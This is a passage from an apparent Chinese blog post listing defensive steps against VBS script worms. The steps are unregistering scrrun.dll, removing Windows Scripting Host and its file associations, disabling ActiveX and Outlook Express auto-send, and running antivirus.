3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4)通过网页传播的病毒需要ActiveX的支持
5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。

如何防范VBS脚本病毒下面详细说明:

1)禁用文件系统对象FileSystemObject
方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键的项,删除。
2)卸载Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件],取消“Windows Scripting Host”一项。
和上面的方法一样,在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键的项,删除。

3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用。

6)禁止OE的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9)安装具有实时监控功能的杀毒软件确实很必要。

10)养成良好的上网习惯,不浏览不熟悉的网站,尤其是一些个人主页和色情网站,从根本上减少被病毒侵害的机会。

11)选择安装适合自身情况的主流厂商的杀毒软件,或安装个人防火墙,在上网前打开“实时监控功能”,尤其要打开“网页监控”和“注册表监控”两项功能。

12)将正常的注册表进行备份,或者下载注册表修复程序,一旦出现异常情况,马上进行相应的修复。

13)如果发现不良网站,立刻向有关部门报告,同时将该网站添加到“黑名单中。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

等天晴i

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值